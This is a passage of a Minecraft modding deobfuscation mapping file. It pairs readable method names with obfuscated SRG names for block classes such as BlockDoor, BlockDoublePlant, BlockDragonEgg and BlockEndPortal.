+MD: net/minecraft/block/BlockDoor/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockDoor/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDoor/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDoor/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDoor/isFullCube ()Z net/minecraft/block/BlockDoor/func_149686_d ()Z +MD: net/minecraft/block/BlockDoor/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockDoor/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockDoor/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockDoor/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockDoor/combineMetadata (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockDoor/func_176515_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockDoor/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockDoor/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoor/getFacing (I)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockDoor/func_176511_f (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockDoor/isOpen (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockDoor/func_176514_f (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockDoor/isOpen (I)Z net/minecraft/block/BlockDoor/func_176516_g (I)Z +MD: net/minecraft/block/BlockDoor/getFacing (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockDoor/func_176517_h (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockDoor/isTop (I)Z net/minecraft/block/BlockDoor/func_176518_i (I)Z +MD: net/minecraft/block/BlockDoor/isHingeLeft (I)Z net/minecraft/block/BlockDoor/func_176513_j (I)Z +MD: net/minecraft/block/BlockDoor/getMobilityFlag ()I net/minecraft/block/BlockDoor/func_149656_h ()I +MD: net/minecraft/block/BlockDoor/setBoundBasedOnMeta (I)V net/minecraft/block/BlockDoor/func_150011_b (I)V +MD: net/minecraft/block/BlockDoor/getItem ()Lnet/minecraft/item/Item; net/minecraft/block/BlockDoor/func_176509_j ()Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDoor/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockDoor/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockDoublePlant$EnumBlockHalf/getName ()Ljava/lang/String; net/minecraft/block/BlockDoublePlant$EnumBlockHalf/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoublePlant$EnumBlockHalf/toString ()Ljava/lang/String; net/minecraft/block/BlockDoublePlant$EnumBlockHalf/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoublePlant$EnumBlockHalf/values ()[Lnet/minecraft/block/BlockDoublePlant$EnumBlockHalf; net/minecraft/block/BlockDoublePlant$EnumBlockHalf/values ()[Lnet/minecraft/block/BlockDoublePlant$EnumBlockHalf; +MD: net/minecraft/block/BlockDoublePlant$EnumPlantType/getMeta ()I net/minecraft/block/BlockDoublePlant$EnumPlantType/func_176936_a ()I +MD: net/minecraft/block/BlockDoublePlant$EnumPlantType/byMetadata (I)Lnet/minecraft/block/BlockDoublePlant$EnumPlantType; net/minecraft/block/BlockDoublePlant$EnumPlantType/func_176938_a (I)Lnet/minecraft/block/BlockDoublePlant$EnumPlantType; +MD: net/minecraft/block/BlockDoublePlant$EnumPlantType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockDoublePlant$EnumPlantType/func_176939_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoublePlant$EnumPlantType/getName ()Ljava/lang/String; net/minecraft/block/BlockDoublePlant$EnumPlantType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoublePlant$EnumPlantType/toString ()Ljava/lang/String; net/minecraft/block/BlockDoublePlant$EnumPlantType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoublePlant$EnumPlantType/values ()[Lnet/minecraft/block/BlockDoublePlant$EnumPlantType; net/minecraft/block/BlockDoublePlant$EnumPlantType/values ()[Lnet/minecraft/block/BlockDoublePlant$EnumPlantType; +MD: net/minecraft/block/BlockDoublePlant/getOffsetType ()Lnet/minecraft/block/Block$EnumOffsetType; net/minecraft/block/BlockDoublePlant/func_176218_Q ()Lnet/minecraft/block/Block$EnumOffsetType; +MD: net/minecraft/block/BlockDoublePlant/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDoublePlant/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDoublePlant/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockDoublePlant/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockDoublePlant/placeAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/BlockDoublePlant$EnumPlantType;I)V net/minecraft/block/BlockDoublePlant/func_176491_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/BlockDoublePlant$EnumPlantType;I)V +MD: net/minecraft/block/BlockDoublePlant/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockDoublePlant/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockDoublePlant/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockDoublePlant/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockDoublePlant/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockDoublePlant/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockDoublePlant/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockDoublePlant/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockDoublePlant/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockDoublePlant/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockDoublePlant/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDoublePlant/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDoublePlant/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockDoublePlant/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockDoublePlant/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDoublePlant/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDoublePlant/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDoublePlant/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDoublePlant/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockDoublePlant/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDoublePlant/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockDoublePlant/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockDoublePlant/onHarvest (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/block/BlockDoublePlant/func_176489_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/block/BlockDoublePlant/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDoublePlant/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDoublePlant/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDoublePlant/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDoublePlant/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockDoublePlant/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockDoublePlant/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockDoublePlant/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockDoublePlant/checkAndDropBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDoublePlant/func_176475_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDoublePlant/getVariant (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockDoublePlant$EnumPlantType; net/minecraft/block/BlockDoublePlant/func_176490_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/BlockDoublePlant$EnumPlantType; +MD: net/minecraft/block/BlockDoublePlant/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockDoublePlant/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockDoublePlant/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockDoublePlant/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockDragonEgg/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockDragonEgg/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockDragonEgg/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockDragonEgg/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockDragonEgg/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockDragonEgg/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockDragonEgg/onBlockClicked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockDragonEgg/func_180649_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockDragonEgg/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockDragonEgg/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockDragonEgg/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockDragonEgg/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockDragonEgg/isOpaqueCube ()Z net/minecraft/block/BlockDragonEgg/func_149662_c ()Z +MD: net/minecraft/block/BlockDragonEgg/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockDragonEgg/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDragonEgg/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDragonEgg/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDragonEgg/isFullCube ()Z net/minecraft/block/BlockDragonEgg/func_149686_d ()Z +MD: net/minecraft/block/BlockDragonEgg/checkFall (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDragonEgg/func_180683_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDragonEgg/teleport (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDragonEgg/func_180684_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDropper/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockDropper/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockDropper/getBehavior (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/dispenser/IBehaviorDispenseItem; net/minecraft/block/BlockDropper/func_149940_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/dispenser/IBehaviorDispenseItem; +MD: net/minecraft/block/BlockDropper/dispense (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDropper/func_176439_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDynamicLiquid/checkAdjacentBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockDynamicLiquid/func_176371_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockDynamicLiquid/func_176374_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ILnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockDynamicLiquid/func_176374_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ILnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockDynamicLiquid/tryFlowInto (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/BlockDynamicLiquid/func_176375_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/BlockDynamicLiquid/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockDynamicLiquid/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockDynamicLiquid/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDynamicLiquid/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDynamicLiquid/getPossibleFlowDirections (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Ljava/util/Set; net/minecraft/block/BlockDynamicLiquid/func_176376_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Ljava/util/Set; +MD: net/minecraft/block/BlockDynamicLiquid/placeStaticBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDynamicLiquid/func_180690_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDynamicLiquid/isBlocked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockDynamicLiquid/func_176372_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockDynamicLiquid/canFlowInto (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockDynamicLiquid/func_176373_h (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockEnchantmentTable/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockEnchantmentTable/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockEnchantmentTable/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockEnchantmentTable/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockEnchantmentTable/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockEnchantmentTable/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockEnchantmentTable/getRenderType ()I net/minecraft/block/BlockEnchantmentTable/func_149645_b ()I +MD: net/minecraft/block/BlockEnchantmentTable/isOpaqueCube ()Z net/minecraft/block/BlockEnchantmentTable/func_149662_c ()Z +MD: net/minecraft/block/BlockEnchantmentTable/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockEnchantmentTable/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockEnchantmentTable/isFullCube ()Z net/minecraft/block/BlockEnchantmentTable/func_149686_d ()Z +MD: net/minecraft/block/BlockEndPortal/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockEndPortal/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockEndPortal/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockEndPortal/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockEndPortal/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockEndPortal/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockEndPortal/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockEndPortal/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockEndPortal/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockEndPortal/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockEndPortal/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockEndPortal/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockEndPortal/isOpaqueCube ()Z net/minecraft/block/BlockEndPortal/func_149662_c ()Z +MD: net/minecraft/block/BlockEndPortal/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockEndPortal/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockEndPortal/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockEndPortal/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockEndPortal/isFullCube ()Z net/minecraft/block/BlockEndPortal/func_149686_d ()Z +MD: net/minecraft/block/BlockEndPortal/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockEndPortal/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockEndPortalFrame/hasComparatorInputOverride ()Z net/minecraft/block/BlockEndPortalFrame/func_149740_M ()Z +MD: net/minecraft/block/BlockEndPortalFrame/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockEndPortalFrame/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockEndPortalFrame/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockEndPortalFrame/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockEndPortalFrame/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockEndPortalFrame/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockEndPortalFrame/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockEndPortalFrame/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockEndPortalFrame/isOpaqueCube ()Z net/minecraft/block/BlockEndPortalFrame/func_149662_c ()Z +MD: net/minecraft/block/BlockEndPortalFrame/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockEndPortalFrame/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockEndPortalFrame/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockEndPortalFrame/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockEndPortalFrame/setBlockBoundsForItemRender ()V net/minecraft/block/BlockEndPortalFrame/func_149683_g ()V +MD: net/minecraft/block/BlockEndPortalFrame/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockEndPortalFrame/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockEnderChest/canSilkHarvest ()Z net/minecraft/block/BlockEnderChest/func_149700_E ()Z +MD: net/minecraft/block/BlockEnderChest/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockEnderChest/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockEnderChest/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockEnderChest/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockEnderChest/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockEnderChest/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockEnderChest/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockEnderChest/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockEnderChest/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockEnderChest/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockEnderChest/getItemDropped 